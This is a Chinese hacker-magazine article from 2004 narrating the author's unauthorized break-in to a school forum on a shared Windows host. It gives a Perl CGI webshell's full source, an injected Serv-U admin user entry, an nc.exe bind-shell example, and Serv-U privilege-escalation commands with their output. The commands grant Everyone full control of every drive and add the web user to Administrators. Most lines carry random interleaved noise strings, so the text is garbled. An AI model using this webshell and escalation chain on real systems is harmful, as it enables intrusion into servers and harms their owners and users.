剑走偏锋——灵巧的旁注攻击 + @( j7 O& P9 b3 k/ D* y* ]
本文作者:angel1 q$ p. ?7 E0 V) o: h
文章性质:原创3 O6 A( h: Y v, Q, p c
发布日期:2004-11-09
# v5 _% E9 H4 [% f* _注意:9 l4 o7 {' H4 I `! Z3 X) u
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。# I0 t+ x" [. x f3 V4 n9 D
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。3 l0 Z( |* }8 i/ L& K" U2 r1 h
; F" p4 i& S4 Q8 G& t
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
4 r& n. I3 J+ @! `
+ o, \ N( N9 M! l) P3 g$ k 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
! z4 A4 B M+ _6 N q' n
4 J4 E6 G: X0 m2 q( N$ U 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 8 s7 B4 [0 X" V' w
! J3 L7 |3 p j1 T( w! A1 W( y9 q
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 7 W* N0 @" s$ j) J
& n3 L$ W" f6 v 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
( s4 P$ o- s9 K- \+ z$ e, S: ^
" E" G7 J8 K x) u 没有目的的跳转目录着……
# g: ^' k, n3 V8 l5 e$ q/ \; v
0 U. {4 v% v+ {* i c, D0 ` 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 0 H$ s8 l: W0 B) ^7 H3 _8 I1 y/ o2 R. j
) k& M; C- C8 O; G- }6 h
结束了吗?不,我试着 FTP 一下:
" m5 y% L6 G- b9 o$ }
v" R5 W7 w! t- W% ]. HMicrosoft Windows 2000 [Version 5.00.2195]
" z$ P4 u7 H, E2 q% E8 v(C) 版权所有 1985-2000 Microsoft Corp. % V% g) r8 E7 `- E( ?" ^
( v& S" C, t! s9 H2 [) XC:\Documents and Settings\Administrator>ftp www.school.com1 x7 X/ k' b: O$ N" q) v+ l
Connected to www. school.com. ! m- R, p+ V$ Z* o2 E$ x/ H
220 Welcome to FTP Server...
/ v, S) @0 [6 T& _User (www.bjtrq.com:(none)): # y1 y5 M% Q1 V
331 User name okay, need password.
# S0 g2 C! y' K K1 m3 JPassword:
& o- }8 @/ k" @% [0 ~; a530 Not logged in. # S4 E5 a* t+ ?/ X" V, l! s" n
Login failed. 3 {# ?' r% u# @
ftp> bye C: Q6 e# w0 \; W( j% W7 D# \" h% `
221 Goodbye! * z. s1 F# n9 w# {# Z& x
i1 _8 D4 T d4 a) a" t0 y+ Z. J; P% D3 ]% D- l2 C/ G
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
/ A' Q) r7 y7 ]8 k& e P+ h1 K2 M9 d) c5 N. k0 @- G$ e- r* i* U
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
" Y4 A6 F: [) s* R4 J( {+ V
) H7 b9 M# p4 `: S$ ~Application Data$ C! O! ]2 [, G/ d
Documents
' e: f& C( M6 `+ gDRM4 n2 s/ X' C7 ]4 u$ q& s: c
Favorites* y4 ]! C7 [9 S) J2 X" M
Templates, }% Z( V+ |- K% W# ^
「开始」菜单
1 t1 i& {) @5 t1 P8 H. F8 W& l桌面
" H& {3 X' W5 A/ [, v9 ]2 S( w" D, p
' f! A9 ?& H1 c! K4 L9 }) M# Y( [: f1 h7 \
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
1 \9 |" i, q( N* a& g! x e5 i: M0 A+ m
ActiveState ActivePerl 5.8
- K+ q7 ]6 E) a/ @4 [5 ~$ ?Administrative Tools
( s3 v- @( I6 L5 U" I. {Deerfield.com7 {9 g0 R9 i1 g+ M
DTemp1 o, ^/ \+ r0 k/ b) B1 {3 u
IPSentry" d) W. Q5 M" m c, T0 q7 g5 m
MBM 5- l7 `9 I# |; ?
NetMeter
5 J4 ~ a5 e y6 b/ LNetwork ICE
$ [, p6 L. H1 u! r: Y; u' |) ~, ~; uPersits Software AspEmail( A, e9 j* e3 |+ Q O! \
Persits Software AspJpeg
9 t7 y5 e, e) I% U$ ZServ-U FTP Server( ?" x. g, c0 R8 K. p% o( W! y
Symantec Client Security
2 F. n2 A8 g) e9 I% U5 NWindows 优化大师( w% W, T* q+ f" v* O8 K
WinRAR
! W7 V) [6 x: `启动
l2 h! b1 L' r' j; F管理工具
7 A0 |: K/ m B a- ]' d6 D s, x附件3 \7 [" B% H0 ^! n8 i
; J: _- q$ E- G+ p4 K
) N5 I9 _" x' {- l/ k( w3 t! {
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ) c) W" z+ D: x( `0 c& L
) W+ w h: [" t1 `8 d1 F( x 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: + z3 z4 ]( g9 @2 C) V
$ J( K& b' e# `! W4 E9 |- a9 W( B1 iUser281=angel|1|0 5 T8 B' `5 z' U& C
0 Y6 M' v* }- F: y$ w* |
8 B" k9 z8 B# ]* I9 O+ Z 然后加上
3 i7 U2 P8 O& U! m
. m' Y0 {) p! b, V4 f[USER=angel|1]$ q& a! c5 q* @/ V2 Q
Password=ng98F85379EA68DBF97BAADCA99B69B8053 I7 n; A: ]/ z
HomeDir=D:\websites
2 ~- a7 o% ]9 \' qRelPaths=11 q `6 G# Y0 N9 [: i* E
TimeOut=600& ]* ^2 r0 v3 _( G# J( V! w
Maintenance=System/ {$ n- Q# r8 p& Z y7 h
Access1=D:\websites|RWAMELCDP n' M q# M$ z1 Z9 ^! J
SKEYValues=
+ c. a0 m8 s" J, ]8 Y
2 S3 n4 Z6 @* E, h& f& t1 r
* E$ b' b' S) t& [. } U: W, E$ N, T 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
# B, u9 p% V6 m
0 Q) C7 Q& U& [# p7 i 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 7 U4 O- Q& z! q8 V* S3 V& L/ |
7 B2 I/ ~& I! {9 H9 f
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
V4 C3 b$ m2 V6 ^4 _. F7 p
- n5 ~5 E: N+ q 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 1 s$ d- p) X/ F# H0 R- Q' `
' i7 j, J1 Y- @#!/usr/bin/perl& w/ T: q3 w+ h
binmode(STDOUT);, b( f% a* A2 u% h
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);8 e! u9 r |# _8 }; _: ^
$_ = $ENV{QUERY_STRING};& J' b7 a! Q6 f' L# r* W
s/%20/ /ig;, S7 e S/ ?+ p9 A" d, `
s/%2f/\//ig;
4 a2 k, D8 `' j0 l M, X$execthis = $_; V% E H3 @2 H
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);1 f( x' h7 d8 G5 j- a
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
9 t% T8 u& _' o& p: C5 Dsystem($execthis);
0 M& G) B7 S- j/ m* w3 ysyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);2 {, {8 ]4 Z2 W& L) I, F4 G, {
close(STDERR);- Z6 H+ s& ^6 K& I8 C
close(STDOUT);
# `* r7 V, |/ g7 y# |1 Y" |exit;
/ q% {- U/ q" r) u 1 ^2 S* t8 }, Z2 h+ L+ q6 ? [8 k# E$ _
* F3 \, n, z, o8 F y 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 9 b* G( h4 t& \2 ?* ~3 w
5 R m6 _4 ^, I6 b7 F! t, d! `
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
4 {" q2 C$ E7 N% {5 \
* E7 K. t- r I0 e7 N8 j1 R; u/ Lhttp://anyhost//cmd.pl?d:\user\bin\su.exe
$ K. n- j0 E% q+ c
( ]* i" O, }; N! J5 F; w5 d$ V T' V( y
返回:
& t* p7 `- Q1 G2 y- I: J% Q, t* U T5 x1 H1 O, e
Serv-u >3.x Local Exploit by xiaolu
% `- Y! {2 i- J! u! E3 C3 u
/ t) U0 K$ g( F8 P) [5 y8 ]% QUSAGE: serv-u.exe "command" ' [& Y9 Q" f/ A6 h/ Q$ j
# Z9 J! R4 |, jExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 0 w1 g2 [! U0 z4 ~0 k9 h, {* [! L
! f) t8 O* P% F [9 a3 Y
: C/ [2 s1 o9 W! L3 {1 t- L
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
( C1 b1 y7 s. j! L
: W5 w! d+ w6 l5 N B% u6 ?# ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
0 C ]( N6 T- C- T; n4 u
' }) h' J2 k% p1 dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
+ D- H* t6 A% _( S+ u; K2 ?% l, Q3 C1 V+ f; r4 I& y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
, v$ y, ?- z! m* \) _1 c% N5 U$ I, f/ f/ `
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
5 d. F' U0 B5 f 2 D; K- I$ a7 g, S& y0 j2 H/ Z
' q I: h1 L! k/ a7 e+ g5 J
返回下面的信息,就表示成功了!!! ' ?% r. C1 q4 z
! z6 u' |( d& UServ-u >3.x Local Exploit by xiaolu
L% F m% p! N4 a+ s* }. a$ J ^; Q: S1 [, g" R
<220 Serv-U FTP Server v5.2 for WinSock ready...
* ^+ W0 K# f! q; r5 M+ I/ y
" G, n# g) V% k>USER LocalAdministrator : L( @; R+ y/ `% J
; ?6 |5 z! `7 E. Y2 f<331 User name okay, need password.
+ l1 @. S, M4 R5 N- l& b4 w& M& e2 i# ~
******************************************************
, z O: }! e/ j4 A7 p" o4 i( Z" f
4 H1 B, L! l7 ]2 i* ~# \>PASS #l@$ak#.lk;0@P
0 U( Z# X! F. {6 k, t( C$ k, Z) E
: {$ r8 S+ L& B; R) L( m/ V<230 User logged in, proceed. 4 p/ G* N3 @, Y2 x! u8 {' Z# F
2 E/ d6 ~7 w2 G
******************************************************
4 ?4 p0 a8 F w& i) e, w1 I$ [- s3 P/ D, \, [
>SITE MAINTENANCE
! \5 U) F' S2 F' X. {, ^ ?" a
, S8 h4 I8 ~4 j****************************************************** 8 S# j# i6 J! a# U! Q% ~' {
9 }& y5 X5 U* L y
[+] Creating New Domain...
; Z! V/ T+ h+ U# j$ g- g9 \+ g2 I V5 p. C7 }
<200-DomainID=2 5 @3 i( t) d! _( c" a
2 O8 z1 k! @% }$ V8 Q; Y* z
<220 Domain settings saved # k7 B- V, _+ L# } T' D
- r( |# c5 o2 H. Z******************************************************
; a- m7 h& n* R. e9 P7 {0 _
, n) W4 p2 N7 n3 V0 @6 Q' u[+] Domain xl:2 Created : N ~7 k/ x& s7 }8 n4 G. K* B2 d% a
; [4 g5 a% v) V* g; P) g[+] Creating Evil User
, ^( \- m3 H+ r, j% @; Y/ R
7 K: S1 V4 @3 f& w5 O4 Z<200-User=xl
, _/ Z4 N1 M) t% A, L7 \1 z- f' \' \8 A
200 User settings saved * `" ]# D& R' j2 z- W# Z# {
/ M! }" W( i+ k* u5 j
******************************************************
0 m$ ^6 P* a3 F; C7 e% t7 ^* I
! O! C( w3 h( t9 m[+] Now Exploiting...
. g0 m, t- M6 C. M1 I M+ [/ i9 O1 Q/ U% I% F7 [2 ~
>USER xl
* Q. @/ H1 [0 J/ m$ r; K5 x1 k
4 G U6 G2 P/ u3 Y. K C4 m<331 User name okay, need password.
. @9 S- C/ i" | k1 c1 _$ Z
" z2 N4 z% b, f. I* V6 w5 l; L****************************************************** 5 T& ~" u$ R) {! g/ Y* m
" n/ S k% U, M! b, |( q% t8 z
>PASS 111111
; A' t5 M: m3 |# Z; M( b7 ?4 j( S% W/ o+ ^8 g0 X
<230 User logged in, proceed.
! f, t1 i* z! [% }' R/ d" C, X' M5 f# D. v' _7 N% f/ o F
****************************************************** 7 ^/ \! f% H9 f! [0 k2 b% V
' Z& D9 p: W% f4 |, y. @3 d[+] Now Executing: cacls.exe c: /E /T /G everyone:F 7 P" C8 e) t4 M, R$ j/ P6 i
6 x3 D' X7 ~5 x) o<220 Domain deleted
9 Q4 R+ R0 j& V4 K) N i. ?9 Z
+ V6 N; v4 G* P****************************************************** 9 j7 W% l0 h* V
6 i: V& u% H9 @* f6 U
9 f( e, {4 z6 g 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: * Z3 o/ k) k4 o# m" o7 Y! ] H+ e) A
# a' l4 Y: M% H
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ! N: k. M% [/ D& Y$ e
; o# N. k7 R7 ?$ C7 w4 ^
3 p& t+ ~1 _. O x! y 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
/ \, l8 m( U" I h/ C' H" M) i# J2 B0 f' I; k$ i) _
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
) Y/ R: o E; Q' o X: q% y% K. o
6 x/ p0 |8 Y1 z4 _. j
% A p; B: t- G' Y( P( {! q" f9 S3 { |